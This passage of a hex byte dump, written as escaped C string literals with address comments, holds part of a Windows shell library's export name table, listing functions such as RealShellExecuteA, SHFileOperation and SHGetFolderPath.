7C9EB0F0 */ "\x52\x75\x6E\x44\x4C\x4C\x00\x50\x72\x69\x6E\x74\x65\x72\x73\x47" //RunDLL.PrintersG /* 7C9EB110 */ "\x65\x74\x43\x6F\x6D\x6D\x61\x6E\x64\x5F\x52\x75\x6E\x44\x4C\x4C" //etCommand_RunDLL /* 7C9EB130 */ "\x41\x00\x50\x72\x69\x6E\x74\x65\x72\x73\x47\x65\x74\x43\x6F\x6D" //A.PrintersGetCom /* 7C9EB150 */ "\x6D\x61\x6E\x64\x5F\x52\x75\x6E\x44\x4C\x4C\x57\x00\x52\x65\x61" //mand_RunDLLW.Rea /* 7C9EB170 */ "\x64\x43\x61\x62\x69\x6E\x65\x74\x53\x74\x61\x74\x65\x00\x52\x65" //dCabinetState.Re /* 7C9EB190 */ "\x61\x6C\x44\x72\x69\x76\x65\x54\x79\x70\x65\x00\x52\x65\x61\x6C" //alDriveType.Real /* 7C9EB1B0 */ "\x53\x68\x65\x6C\x6C\x45\x78\x65\x63\x75\x74\x65\x41\x00\x52\x65" //ShellExecuteA.Re /* 7C9EB1D0 */ "\x61\x6C\x53\x68\x65\x6C\x6C\x45\x78\x65\x63\x75\x74\x65\x45\x78" //alShellExecuteEx /* 7C9EB1F0 */ "\x41\x00\x52\x65\x61\x6C\x53\x68\x65\x6C\x6C\x45\x78\x65\x63\x75" //A.RealShellExecu /* 7C9EB210 */ "\x74\x65\x45\x78\x57\x00\x52\x65\x61\x6C\x53\x68\x65\x6C\x6C\x45" //teExW.RealShellE /* 7C9EB230 */ "\x78\x65\x63\x75\x74\x65\x57\x00\x52\x65\x67\x65\x6E\x65\x72\x61" //xecuteW.Regenera /* 7C9EB250 */ "\x74\x65\x55\x73\x65\x72\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E" //teUserEnvironmen /* 7C9EB270 */ "\x74\x00\x52\x65\x73\x74\x61\x72\x74\x44\x69\x61\x6C\x6F\x67\x00" //t.RestartDialog. /* 7C9EB290 */ "\x52\x65\x73\x74\x61\x72\x74\x44\x69\x61\x6C\x6F\x67\x45\x78\x00" //RestartDialogEx. /* 7C9EB2B0 */ "\x53\x48\x41\x64\x64\x46\x72\x6F\x6D\x50\x72\x6F\x70\x53\x68\x65" //SHAddFromPropShe /* 7C9EB2D0 */ "\x65\x74\x45\x78\x74\x41\x72\x72\x61\x79\x00\x53\x48\x41\x64\x64" //etExtArray.SHAdd /* 7C9EB2F0 */ "\x54\x6F\x52\x65\x63\x65\x6E\x74\x44\x6F\x63\x73\x00\x53\x48\x41" //ToRecentDocs.SHA /* 7C9EB310 */ "\x6C\x6C\x6F\x63\x00\x53\x48\x41\x6C\x6C\x6F\x63\x53\x68\x61\x72" //lloc.SHAllocShar /* 7C9EB330 */ "\x65\x64\x00\x53\x48\x41\x70\x70\x42\x61\x72\x4D\x65\x73\x73\x61" //ed.SHAppBarMessa /* 7C9EB350 */ "\x67\x65\x00\x53\x48\x42\x69\x6E\x64\x54\x6F\x50\x61\x72\x65\x6E" //ge.SHBindToParen /* 7C9EB370 */ "\x74\x00\x53\x48\x42\x72\x6F\x77\x73\x65\x46\x6F\x72\x46\x6F\x6C" //t.SHBrowseForFol /* 7C9EB390 */ "\x64\x65\x72\x00\x53\x48\x42\x72\x6F\x77\x73\x65\x46\x6F\x72\x46" //der.SHBrowseForF /* 7C9EB3B0 */ "\x6F\x6C\x64\x65\x72\x41\x00\x53\x48\x42\x72\x6F\x77\x73\x65\x46" //olderA.SHBrowseF /* 7C9EB3D0 */ "\x6F\x72\x46\x6F\x6C\x64\x65\x72\x57\x00\x53\x48\x43\x4C\x53\x49" //orFolderW.SHCLSI /* 7C9EB3F0 */ "\x44\x46\x72\x6F\x6D\x53\x74\x72\x69\x6E\x67\x00\x53\x48\x43\x68" //DFromString.SHCh /* 7C9EB410 */ "\x61\x6E\x67\x65\x4E\x6F\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E" //angeNotification /* 7C9EB430 */ "\x5F\x4C\x6F\x63\x6B\x00\x53\x48\x43\x68\x61\x6E\x67\x65\x4E\x6F" //_Lock.SHChangeNo /* 7C9EB450 */ "\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x5F\x55\x6E\x6C\x6F\x63" //tification_Unloc /* 7C9EB470 */ "\x6B\x00\x53\x48\x43\x68\x61\x6E\x67\x65\x4E\x6F\x74\x69\x66\x79" //k.SHChangeNotify /* 7C9EB490 */ "\x00\x53\x48\x43\x68\x61\x6E\x67\x65\x4E\x6F\x74\x69\x66\x79\x44" //.SHChangeNotifyD /* 7C9EB4B0 */ "\x65\x72\x65\x67\x69\x73\x74\x65\x72\x00\x53\x48\x43\x68\x61\x6E" //eregister.SHChan /* 7C9EB4D0 */ "\x67\x65\x4E\x6F\x74\x69\x66\x79\x52\x65\x67\x69\x73\x74\x65\x72" //geNotifyRegister /* 7C9EB4F0 */ "\x00\x53\x48\x43\x68\x61\x6E\x67\x65\x4E\x6F\x74\x69\x66\x79\x53" //.SHChangeNotifyS /* 7C9EB510 */ "\x75\x73\x70\x65\x6E\x64\x52\x65\x73\x75\x6D\x65\x00\x53\x48\x43" //uspendResume.SHC /* 7C9EB530 */ "\x6C\x6F\x6E\x65\x53\x70\x65\x63\x69\x61\x6C\x49\x44\x4C\x69\x73" //loneSpecialIDLis /* 7C9EB550 */ "\x74\x00\x53\x48\x43\x6F\x43\x72\x65\x61\x74\x65\x49\x6E\x73\x74" //t.SHCoCreateInst /* 7C9EB570 */ "\x61\x6E\x63\x65\x00\x53\x48\x43\x72\x65\x61\x74\x65\x44\x69\x72" //ance.SHCreateDir /* 7C9EB590 */ "\x65\x63\x74\x6F\x72\x79\x00\x53\x48\x43\x72\x65\x61\x74\x65\x44" //ectory.SHCreateD /* 7C9EB5B0 */ "\x69\x72\x65\x63\x74\x6F\x72\x79\x45\x78\x41\x00\x53\x48\x43\x72" //irectoryExA.SHCr /* 7C9EB5D0 */ "\x65\x61\x74\x65\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x45\x78\x57" //eateDirectoryExW /* 7C9EB5F0 */ "\x00\x53\x48\x43\x72\x65\x61\x74\x65\x46\x69\x6C\x65\x45\x78\x74" //.SHCreateFileExt /* 7C9EB610 */ "\x72\x61\x63\x74\x49\x63\x6F\x6E\x57\x00\x53\x48\x43\x72\x65\x61" //ractIconW.SHCrea /* 7C9EB630 */ "\x74\x65\x4C\x6F\x63\x61\x6C\x53\x65\x72\x76\x65\x72\x52\x75\x6E" //teLocalServerRun /* 7C9EB650 */ "\x44\x6C\x6C\x00\x53\x48\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63" //Dll.SHCreateProc /* 7C9EB670 */ "\x65\x73\x73\x41\x73\x55\x73\x65\x72\x57\x00\x53\x48\x43\x72\x65" //essAsUserW.SHCre /* 7C9EB690 */ "\x61\x74\x65\x50\x72\x6F\x70\x53\x68\x65\x65\x74\x45\x78\x74\x41" //atePropSheetExtA /* 7C9EB6B0 */ "\x72\x72\x61\x79\x00\x53\x48\x43\x72\x65\x61\x74\x65\x51\x75\x65" //rray.SHCreateQue /* 7C9EB6D0 */ "\x72\x79\x43\x61\x6E\x63\x65\x6C\x41\x75\x74\x6F\x50\x6C\x61\x79" //ryCancelAutoPlay /* 7C9EB6F0 */ "\x4D\x6F\x6E\x69\x6B\x65\x72\x00\x53\x48\x43\x72\x65\x61\x74\x65" //Moniker.SHCreate /* 7C9EB710 */ "\x53\x68\x65\x6C\x6C\x46\x6F\x6C\x64\x65\x72\x56\x69\x65\x77\x00" //ShellFolderView. /* 7C9EB730 */ "\x53\x48\x43\x72\x65\x61\x74\x65\x53\x68\x65\x6C\x6C\x46\x6F\x6C" //SHCreateShellFol /* 7C9EB750 */ "\x64\x65\x72\x56\x69\x65\x77\x45\x78\x00\x53\x48\x43\x72\x65\x61" //derViewEx.SHCrea /* 7C9EB770 */ "\x74\x65\x53\x68\x65\x6C\x6C\x49\x74\x65\x6D\x00\x53\x48\x43\x72" //teShellItem.SHCr /* 7C9EB790 */ "\x65\x61\x74\x65\x53\x74\x64\x45\x6E\x75\x6D\x46\x6D\x74\x45\x74" //eateStdEnumFmtEt /* 7C9EB7B0 */ "\x63\x00\x53\x48\x44\x65\x66\x45\x78\x74\x72\x61\x63\x74\x49\x63" //c.SHDefExtractIc /* 7C9EB7D0 */ "\x6F\x6E\x41\x00\x53\x48\x44\x65\x66\x45\x78\x74\x72\x61\x63\x74" //onA.SHDefExtract /* 7C9EB7F0 */ "\x49\x63\x6F\x6E\x57\x00\x53\x48\x44\x65\x73\x74\x72\x6F\x79\x50" //IconW.SHDestroyP /* 7C9EB810 */ "\x72\x6F\x70\x53\x68\x65\x65\x74\x45\x78\x74\x41\x72\x72\x61\x79" //ropSheetExtArray /* 7C9EB830 */ "\x00\x53\x48\x44\x6F\x44\x72\x61\x67\x44\x72\x6F\x70\x00\x53\x48" //.SHDoDragDrop.SH /* 7C9EB850 */ "\x45\x6D\x70\x74\x79\x52\x65\x63\x79\x63\x6C\x65\x42\x69\x6E\x41" //EmptyRecycleBinA /* 7C9EB870 */ "\x00\x53\x48\x45\x6D\x70\x74\x79\x52\x65\x63\x79\x63\x6C\x65\x42" //.SHEmptyRecycleB /* 7C9EB890 */ "\x69\x6E\x57\x00\x53\x48\x45\x6E\x61\x62\x6C\x65\x53\x65\x72\x76" //inW.SHEnableServ /* 7C9EB8B0 */ "\x69\x63\x65\x4F\x62\x6A\x65\x63\x74\x00\x53\x48\x45\x6E\x75\x6D" //iceObject.SHEnum /* 7C9EB8D0 */ "\x65\x72\x61\x74\x65\x55\x6E\x72\x65\x61\x64\x4D\x61\x69\x6C\x41" //erateUnreadMailA /* 7C9EB8F0 */ "\x63\x63\x6F\x75\x6E\x74\x73\x57\x00\x53\x48\x45\x78\x74\x72\x61" //ccountsW.SHExtra /* 7C9EB910 */ "\x63\x74\x49\x63\x6F\x6E\x73\x57\x00\x53\x48\x46\x69\x6C\x65\x4F" //ctIconsW.SHFileO /* 7C9EB930 */ "\x70\x65\x72\x61\x74\x69\x6F\x6E\x00\x53\x48\x46\x69\x6C\x65\x4F" //peration.SHFileO /* 7C9EB950 */ "\x70\x65\x72\x61\x74\x69\x6F\x6E\x41\x00\x53\x48\x46\x69\x6C\x65" //perationA.SHFile /* 7C9EB970 */ "\x4F\x70\x65\x72\x61\x74\x69\x6F\x6E\x57\x00\x53\x48\x46\x69\x6E" //OperationW.SHFin /* 7C9EB990 */ "\x64\x46\x69\x6C\x65\x73\x00\x53\x48\x46\x69\x6E\x64\x5F\x49\x6E" //dFiles.SHFind_In /* 7C9EB9B0 */ "\x69\x74\x4D\x65\x6E\x75\x50\x6F\x70\x75\x70\x00\x53\x48\x46\x6C" //itMenuPopup.SHFl /* 7C9EB9D0 */ "\x75\x73\x68\x43\x6C\x69\x70\x62\x6F\x61\x72\x64\x00\x53\x48\x46" //ushClipboard.SHF /* 7C9EB9F0 */ "\x6C\x75\x73\x68\x53\x46\x43\x61\x63\x68\x65\x00\x53\x48\x46\x6F" //lushSFCache.SHFo /* 7C9EBA10 */ "\x72\x6D\x61\x74\x44\x72\x69\x76\x65\x00\x53\x48\x46\x72\x65\x65" //rmatDrive.SHFree /* 7C9EBA30 */ "\x00\x53\x48\x46\x72\x65\x65\x4E\x61\x6D\x65\x4D\x61\x70\x70\x69" //.SHFreeNameMappi /* 7C9EBA50 */ "\x6E\x67\x73\x00\x53\x48\x46\x72\x65\x65\x53\x68\x61\x72\x65\x64" //ngs.SHFreeShared /* 7C9EBA70 */ "\x00\x53\x48\x47\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x73" //.SHGetAttributes /* 7C9EBA90 */ "\x46\x72\x6F\x6D\x44\x61\x74\x61\x4F\x62\x6A\x65\x63\x74\x00\x53" //FromDataObject.S /* 7C9EBAB0 */ "\x48\x47\x65\x74\x44\x61\x74\x61\x46\x72\x6F\x6D\x49\x44\x4C\x69" //HGetDataFromIDLi /* 7C9EBAD0 */ "\x73\x74\x41\x00\x53\x48\x47\x65\x74\x44\x61\x74\x61\x46\x72\x6F" //stA.SHGetDataFro /* 7C9EBAF0 */ "\x6D\x49\x44\x4C\x69\x73\x74\x57\x00\x53\x48\x47\x65\x74\x44\x65" //mIDListW.SHGetDe /* 7C9EBB10 */ "\x73\x6B\x74\x6F\x70\x46\x6F\x6C\x64\x65\x72\x00\x53\x48\x47\x65" //sktopFolder.SHGe /* 7C9EBB30 */ "\x74\x44\x69\x73\x6B\x46\x72\x65\x65\x53\x70\x61\x63\x65\x41\x00" //tDiskFreeSpaceA. /* 7C9EBB50 */ "\x53\x48\x47\x65\x74\x44\x69\x73\x6B\x46\x72\x65\x65\x53\x70\x61" //SHGetDiskFreeSpa /* 7C9EBB70 */ "\x63\x65\x45\x78\x41\x00\x53\x48\x47\x65\x74\x44\x69\x73\x6B\x46" //ceExA.SHGetDiskF /* 7C9EBB90 */ "\x72\x65\x65\x53\x70\x61\x63\x65\x45\x78\x57\x00\x53\x48\x47\x65" //reeSpaceExW.SHGe /* 7C9EBBB0 */ "\x74\x46\x69\x6C\x65\x49\x6E\x66\x6F\x00\x53\x48\x47\x65\x74\x46" //tFileInfo.SHGetF /* 7C9EBBD0 */ "\x69\x6C\x65\x49\x6E\x66\x6F\x41\x00\x53\x48\x47\x65\x74\x46\x69" //ileInfoA.SHGetFi /* 7C9EBBF0 */ "\x6C\x65\x49\x6E\x66\x6F\x57\x00\x53\x48\x47\x65\x74\x46\x6F\x6C" //leInfoW.SHGetFol /* 7C9EBC10 */ "\x64\x65\x72\x4C\x6F\x63\x61\x74\x69\x6F\x6E\x00\x53\x48\x47\x65" //derLocation.SHGe /* 7C9EBC30 */ "\x74\x46\x6F\x6C\x64\x65\x72\x50\x61\x74\x68\x41\x00\x53\x48\x47" //tFolderPathA.SHG /* 7C9EBC50 */ "\x65\x74\x46\x6F\x6C\x64\x65\x72\x50\x61\x74\x68\x41\x6E\x64\x53" //etFolderPathAndS /* 7C9EBC70 */ "\x75\x62\x44\x69\x72\x41\x00\x53\x48\x47\x65\x74\x46\x6F\x6C\x64" //ubDirA.SHGetFold /* 7C9EBC90 */ "\x65\x72\x50\x61\x74\x68\x41\x6E\x64\x53\x75\x62\x44\x69\x72\x57" //erPathAndSubDirW /* 7C9EBCB0 */ "\x00\x53\x48\x47\x65\x74\x46\x6F\x6C\x64\x65\x72\x50\x61\x74\x68" //.SHGetFolderPath /* 7C9EBCD0 */ "\x57\x00\x53\x48\x47\x65\x74\x49\x63\x6F\x6E\x4F\x76\x65\x72\x6C" //W.SHGetIconOverl /* 7C9EBCF0 */ "\x61\x79\x49\x6E\x64\x65\x78\x41\x00\x53\x48\x47\x65\x74\x49\x63" //ayIndexA.SHGetIc /* 7C9EBD10 */ "\x6F\x6E\x4F\x76\x65\x72\x6C\x61\x79\x49\x6E\x64\x65\x78\x57\x00" //onOverlayIndexW. /* 7C9EBD30 */ "\x53\x48\x47\x65\x74\x49\x6D\x61\x67\x65\x4C\x69\x73\x74\x00\x53" //SHGetImageList.S /* 7C9EBD50 */ "\x48\x47\x65\x74\x49\x6E\x73\x74\x61\x6E\x63\x65\x45\x78\x70\x6C" //HGetInstanceExpl /* 7C9EBD70 */ "\x6F\x72\x65\x72\x00\x53\x48\x47\x65\x74\x4D\x61\x6C\x6C\x6F\x63" //orer.SHGetMalloc /* 7C9EBD90 */ "\x00\x53\x48\x47\x65\x74\x4E\x65\x77\x4C\x69\x6E\x6B\x49\x6E\x66" //.SHGetNewLinkInf /* 7C9EBDB0 */ "\x6F\x00\x53\x48\x47\x65\x74\x4E\x65\x77\x4C\x69\x6E\x6B\x49\x6E" //o.SHGetNewLinkIn /* 7C9EBDD0 */ "\x66\x6F\x41\x00\x53\x48\x47\x65\x74\x4E\x65\x77\x4C\x69\x6E\x6B" //foA.SHGetNewLink /* 7C9EBDF0 */ "\x49\x6E\x66\x6F\x57\x00\x53\x48\x47\x65\x74\x50\x61\x74\x68\x46" //InfoW.SHGetPathF /* 7C9EBE10 */ "\x72\x6F\x6D\x49\x44\x4C\x69\x73\x74\x00\x53\x48\x47\x65\x74\x50" //romIDList.SHGetP /* 7C9EBE30 */ "\x61\x74\x68\x46\x72\x6F\x6D\x49\x44\x4C\x69\x73\x74\x41\x00\x53" //athFromIDListA.S /* 7C9EBE50 */ "\x48\x47\x65\x74\x50\x61\x74\x68\x46\x72\x6F\x6D\x49\x44\x4C\x69" //HGetPathFromIDLi /* 7C9EBE70 */ "\x73\x74\x57\x00\x53\x48\x47\x65\x74\x52\x65\x61\x6C\x49\x44\x4C" //stW.SHGetRealIDL /* 7C9EBE90 */ "\x00\x53\x48\x47\x65\x74\x53\x65\x74\x46\x6F\x6C\x64\x65\x72\x43" //.SHGetSetFolderC /* 7C9EBEB0 */ "\x75\x73\x74\x6F\x6D\x53\x65\x74\x74\x69\x6E\x67\x73\x57\x00\x53" //ustomSettingsW.S /* 7C9EBED0 */ "\x48\x47\x65\x74\x53\x65\x74\x53\x65\x74\x74\x69\x6E\x67\x73\x00" //HGetSetSettings. /* 7C9EBEF0 */ "\x53\x48\x47\x65\x74\x53\x65\x74\x74\x69\x6E\x67\x73\x00\x53\x48" //SHGetSettings.SH /* 7C9EBF10 */ "\x47\x65\x74\x53\x68\x65\x6C\x6C\x53\x74\x79\x6C\x65\x48\x49\x6E" //GetShellStyleHIn /* 7C9EBF30 */ "\x73\x74\x61\x6E\x63\x65\x00\x53\x48\x47\x65\x74\x53\x70\x65\x63" //stance.SHGetSpec /* 7C9EBF50 */ "\x69\x61\x6C\x46\x6F\x6C\x64\x65\x72\x4C\x6F\x63\x61\x74\x69\x6F" //ialFolderLocatio /* 7C9EBF70 */ "\x6E\x00\x53\x48\x47\x65\x74\x53\x70\x65\x63\x69\x61\x6C\x46\x6F" //n.SHGetSpecialFo /* 7C9EBF90 */ "\x6C\x64\x65\x72\x50\x61\x74\x68\x41\x00\x53\x48\x47\x65\x74\x53" //lderPathA.SHGetS /* 7C9EBFB0 */ "\x70\x65\x63\x69\x61\x6C\x46\x6F\x6C\x64\x65\x72\x50\x61\x74\x68" //pecialFolderPath /* 7C9EBFD0 */ "\x57\x00\x53\x48\x47\x65\x74\x55\x6E\x72\x65\x61\x64\x4D\x61\x69" //W.SHGetUnreadMai /* 7C9EBFF0 */ "\x6C\x43\x6F\x75\x6E\x74\x57\x00\x53\x48\x48\x61\x6E\x64\x6C\x65" //lCountW.SHHandle /* 7C9EC010 */ "\x55\x70\x64\x61\x74\x65\x49\x6D\x61\x67\x65\x00\x53\x48\x48\x65" //UpdateImage.SHHe /* 7C9EC030 */ "\x6C\x70\x53\x68\x6F\x72\x74\x63\x75\x74\x73\x5F\x52\x75\x6E\x44" //lpShortcuts_RunD /* 7C9EC050 */ "\x4C\x4C\x00\x53\x48\x48\x65\x6C\x70\x53\x68\x6F\x72\x74\x63\x75" //LL.SHHelpShortcu /* 7C9EC070 */ "\x74\x73\x5F\x52\x75\x6E\x44\x4C\x4C\x41\x00\x53\x48\x48\x65\x6C" //ts_RunDLLA.SHHel /* 7C9EC090 */ "\x70\x53\x68\x6F\x72\x74\x63\x75\x74\x73\x5F\x52\x75\x6E\x44\x4C" //pShortcuts_RunDL /* 7C9EC0B0 */ "\x4C\x57\x00\x53\x48\x49\x4C\x43\x72\x65\x61\x74\x65\x46\x72\x6F" //LW.SHILCreateFro /* 7C9EC0D0 */ "\x6D\x50\x61\x74\x68\x00\x53\x48\x49\x6E\x76\x6F\x6B\x65\x50\x72" //mPath.SHInvokePr /* 7C9EC0F0 */ "\x69\x6E\x74\x65\x72\x43\x6F\x6D\x6D\x61\x6E\x64\x41\x00\x53\x48" //interCommandA.SH /* 7C9EC110 */ "\x49\x6E\x76\x6F\x6B\x65\x50\x72\x69\x6E\x74\x65\x72\x43\x6F\x6D" //InvokePrinterCom /* 7C9EC130 */ "\x6D\x61\x6E\x64\x57\x00\x53\x48\x49\x73\x46\x69\x6C\x65\x41\x76" //mandW.SHIsFileAv /* 7C9EC150 */ "\x61\x69\x6C\x61\x62\x6C\x65\x4F\x66\x66\x6C\x69\x6E\x65\x00\x53" //ailableOffline.S /* 7C9EC170 */ "\x48\x4C\x69\x6D\x69\x74\x49\x6E\x70\x75\x74\x45\x64\x69\x74\x00" //HLimitInputEdit. /* 7C9EC190 */ "\x53\x48\x4C\x6F\x61\x64\x49\x6E\x50\x72\x6F\x63\x00\x53\x48\x4C" //SHLoadInProc.SHL /* 7C9EC1B0 */ "\x6F\x61\x64\x4E\x6F\x6E\x6C\x6F\x61\x64\x65\x64\x49\x63\x6F\x6E" //oadNonloadedIcon /* 7C9EC1D0 */ "\x4F\x76\x65\x72\x6C\x61\x79\x49\x64\x65\x6E\x74\x69\x66\x69\x65" //OverlayIdentifie /* 7C9EC1F0 */ "\x72\x73\x00\x53\x48\x4C\x6F\x61\x64\x4F\x4C\x45\x00\x53\x48\x4C" //rs.SHLoadOLE.SHL /* 7C9EC210 */ "\x6F\x63\x6B\x53\x68\x61\x72\x65\x64\x00\x53\x48\x4D\x61\x70\x49" //ockShared.SHMapI /* 7C9EC230 */ "\x44\x4C\x69\x73\x74\x54\x6F\x49\x6D\x61\x67\x65\x4C\x69\x73\x74" //DListToImageList /* 7C9EC250 */ "\x49\x6E\x64\x65\x78\x41\x73\x79\x6E\x63\x00\x53\x48\x4D\x61\x70" //IndexAsync.SHMap /* 7C9EC270 */ "\x50\x49\x44\x4C\x54\x6F\x53\x79\x73\x74\x65\x6D\x49\x6D\x61\x67" //PIDLToSystemImag /* 7C9EC290 */ "\x65\x4C\x69\x73\x74\x49\x6E\x64\x65\x78\x00\x53\x48\x4D\x75\x6C" //eListIndex.SHMul /* 7C9EC2B0 */ "\x74\x69\x46\x69\x6C\x65\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73" //tiFileProperties /* 7C9EC2D0 */ "\x00\x53\x48\x4F\x62\x6A\x65\x63\x74\x50\x72\x6F\x70\x65\x72\x74" //.SHObjectPropert /* 7C9EC2F0 */ "\x69\x65\x73\x00\x53\x48\x4F\x70\x65\x6E\x46\x6F\x6C\x64\x65\x72" //ies.SHOpenFolder /* 7C9EC310 */ "\x41\x6E\x64\x53\x65\x6C\x65\x63\x74\x49\x74\x65\x6D\x73\x00\x53" //AndSelectItems.S /* 7C9EC330 */ "\x48\x4F\x70\x65\x6E\x50\x72\x6F\x70\x53\x68\x65\x65\x74\x57\x00" //HOpenPropSheetW. /* 7C9EC350 */ "\x53\x48\x50\x61\x72\x73\x65\x44\x69\x73\x70\x6C\x61\x79\x4E\x61" //SHParseDisplayNa /* 7C9EC370 */ "\x6D\x65\x00\x53\x48\x50\x61\x74\x68\x50\x72\x65\x70\x61\x72\x65" //me.SHPathPrepare /* 7C9EC390 */ "\x46\x6F\x72\x57\x72\x69\x74\x65\x41\x00\x53\x48\x50\x61\x74\x68" //ForWriteA.SHPath /* 7C9EC3B0 */ "\x50\x72\x65\x70\x61\x72\x65\x46\x6F\x72\x57\x72\x69\x74\x65\x57" //PrepareForWriteW /* 7C9EC3D0 */ "\x00\x53\x48\x50\x72\x6F\x70\x53\x74\x67\x43\x72\x65\x61\x74\x65" //.SHPropStgCreate /* 7C9EC3F0 */ "\x00\x53\x48\x50\x72\x6F\x70\x53\x74\x67\x52\x65\x61\x64\x4D\x75" //.SHPropStgReadMu /* 7C9EC410 */ "\x6C\x74\x69\x70\x6C\x65\x00\x53\x48\x50\x72\x6F\x70\x53\x74\x67" //ltiple.SHPropStg /* 7C9EC430 */ "\x57\x72\x69\x74\x65\x4D\x75\x6C\x74\x69\x70\x6C\x65\x00\x53\x48" //WriteMultiple.SH /* 7C9EC450 */ "\x51\x75\x65\x72\x79\x52\x65\x63\x79\x63\x6C\x65\x42\x69\x6E\x41" //QueryRecycleBinA /* 7C9EC470 */ "\x00\x53\x48\x51\x75\x65\x72\x79\x52\x65\x63\x79\x63\x6C\x65\x42" //.SHQueryRecycleB /* 7C9EC490 */ "\x69\x6E\x57\x00\x53\x48\x52\x65\x70\x6C\x61\x63\x65\x46\x72\x6F" //inW.SHReplaceFro /* 7C9EC4B0 */ "\x6D\x50\x72\x6F\x70\x53\x68\x65\x65\x74\x45\x78\x74\x41\x72\x72" //mPropSheetExtArr /* 7C9EC4D0 */ "\x61\x79\x00\x53\x48\x52\x65\x73\x74\x72\x69\x63\x74\x65\x64\x00" //ay.SHRestricted. /* 7C9EC4F0 */ "\x53\x48\x52\x75\x6E\x43\x6F\x6E\x74\x72\x6F\x6C\x50\x61\x6E\x65" //SHRunControlPane /* 7C9EC510 */ "\x6C\x00\x53\x48\x53\x65\x74\x49\x6E\x73\x74\x61\x6E\x63\x65\x45" //l.SHSetInstanceE /* 7C9EC530 */ "\x78\x70\x6C\x6F\x72\x65\x72\x00\x53\x48\x53\x65\x74\x4C\x6F\x63" //xplorer.SHSetLoc /* 7C9EC550 */ "\x61\x6C\x69\x7A\x65\x64\x4E\x61\x6D\x65\x00\x53\x48\x53\x65\x74" //alizedName.SHSet /* 7C9EC570 */ "\x55\x6E\x72\x65\x61\x64\x4D\x61\x69\x6C\x43\x6F\x75\x6E\x74\x57" //UnreadMailCountW /* 7C9EC590 */ "\x00\x53\x48\x53\x68\x65\x6C\x6C\x46\x6F\x6C\x64\x65\x72\x56\x69" //.SHShellFolderVi /* 7C9EC5B0 */ "\x65\x77\x5F\x4D\x65\x73\x73\x61\x67\x65\x00\x53\x48\x53\x69\x6D" //ew_Message.SHSim /* 7C9EC5D0 */ "\x70\x6C\x65\x49\x44\x4C\x69\x73\x74\x46\x72\x6F\x6D\x50\x61\x74" //pleIDListFromPat /* 7C9EC5F0 */ "\x68\x00\x53\x48\x53\x74\x61\x72\x74\x4E\x65\x74\x43\x6F\x6E\x6E" //h.SHStartNetConn /* 7C9EC610 */ "\x65\x63\x74\x69\x6F\x6E\x44\x69\x61\x6C\x6F\x67\x57\x00\x53\x48" //ectionDialogW.SH /* 7C9EC630 */ "\x54\x65\x73\x74\x54\x6F\x6B\x65\x6E\x4D\x65\x6D\x62\x65\x72\x73" //TestTokenMembers /* 7C9EC650 */ "\x68\x69\x70\x00\x53\x48\x55\x6E\x6C\x6F\x63\x6B\x53\x68\x61\x72" //hip.SHUnlockShar /* 7C9EC670 */ "\x65\x64\x00\x53\x48\x55\x70\x64\x61\x74\x65\x49\x6D\x61\x67\x65" //ed.SHUpdateImage /* 7C9EC690 */ "\x41\x00\x53\x48\x55\x70\x64\x61\x74\x65\x49\x6D\x61\x67\x65\x57" //A.SHUpdateImageW /* 7C9EC6B0 */ "\x00\x53\x48\x55\x70\x64\x61\x74\x65\x52\x65\x63\x79\x63\x6C\x65" //.SHUpdateRecycle /* 7C9EC6D0 */ "\x42\x69\x6E\x49\x63\x6F\x6E\x00\x53\x48\x56\x61\x6C\x69\x64\x61" //BinIcon.SHValida /* 7C9EC6F0 */ "\x74\x65\x55\x4E\x43\x00\x53\x68\x65\x43\x68\x61\x6E\x67\x65\x44" //teUNC.SheChangeD /* 7C9EC710 */ "\x69\x72\x41\x00\x53\x68\x65\x43\x68\x61\x6E\x67\x65\x44\x69\x72" //irA.SheChangeDir /* 7C9EC730 */ "\x45\x78\x41\x00\x53\x68\x65\x43\x68\x61\x6E\x67\x65\x44\x69\x72" //ExA.SheChangeDir /* 7C9EC750 */ "\x45\x78\x57\x00\x53\x68\x65\x43\x68\x61\x6E\x67\x65\x44\x69\x72" //ExW.SheChangeDir /* 7C9EC770 */ "\x57\x00\x53\x68\x65\x43\x6F\x6E\x76\x65\x72\x74\x50\x61\x74\x68" //W.SheConvertPath /* 7C9EC790 */ "\x57\x00\x53\x68\x65\x46\x75\x6C\x6C\x50\x61\x74\x68\x41\x00\x53" //W.SheFullPathA.S /* 7C9EC7B0 */ "\x68\x65\x46\x75\x6C\x6C\x50\x61\x74\x68\x57\x00\x53\x68\x65\x47" //heFullPathW.SheG /* 7C9EC7D0 */ "\x65\x74\x43\x75\x72\x44\x72\x69\x76\x65\x00\x53\x68\x65\x47\x65" //etCurDrive.SheGe /* 7C9EC7F0 */ "\x74\x44\x69\x72\x41\x00\x53\x68\x65\x47\x65\x74\x44\x69\x72\x45" //tDirA.SheGetDirE /* 7C9EC810 */ "\x78\x57\x00\x53\x68\x65\x47\x65\x74\x44\x69\x72\x57\x00\x53\x68" //xW.SheGetDirW.Sh /* 7C9EC830 */ "\x65\x47\x65\x74\x50\x61\x74\x68\x4F\x66\x66\x73\x65\x74\x57\x00" //eGetPathOffsetW. /* 7C9EC850 */ "\x53\x68\x65\x52\x65\x6D\x6F\x76\x65\x51\x75\x6F\x74\x65\x73\x41" //SheRemoveQuotesA /* 7C9EC870 */ "\x00\x53\x68\x65\x52\x65\x6D\x6F\x76\x65\x51\x75\x6F\x74\x65\x73" //.SheRemoveQuotes /* 7C9EC890 */ "\x57\x00\x53\x68\x65\x53\x65\x74\x43\x75\x72\x44\x72\x69\x76\x65" //W.SheSetCurDrive /* 7C9EC8B0 */ "\x00\x53\x68\x65\x53\x68\x6F\x72\x74\x65\x6E\x50\x61\x74\x68\x41" //.SheShortenPathA /* 7C9EC8D0 */ "\x00\x53\x68\x65\x53\x68\x6F\x72\x74\x65\x6E\x50\x61\x74\x68\x57" //.SheShortenPathW /* 7C9EC8F0 */ "\x00\x53\x68\x65\x6C\x6C\x41\x62\x6F\x75\x74\x41\x00\x53\x68\x65" //.ShellAboutA.She /* 7C9EC910 */ "\x6C\x6C\x41\x62\x6F\x75\x74\x57\x00\x53\x68\x65\x6C\x6C\x45\x78" //llAboutW.ShellEx /* 7C9EC930 */ 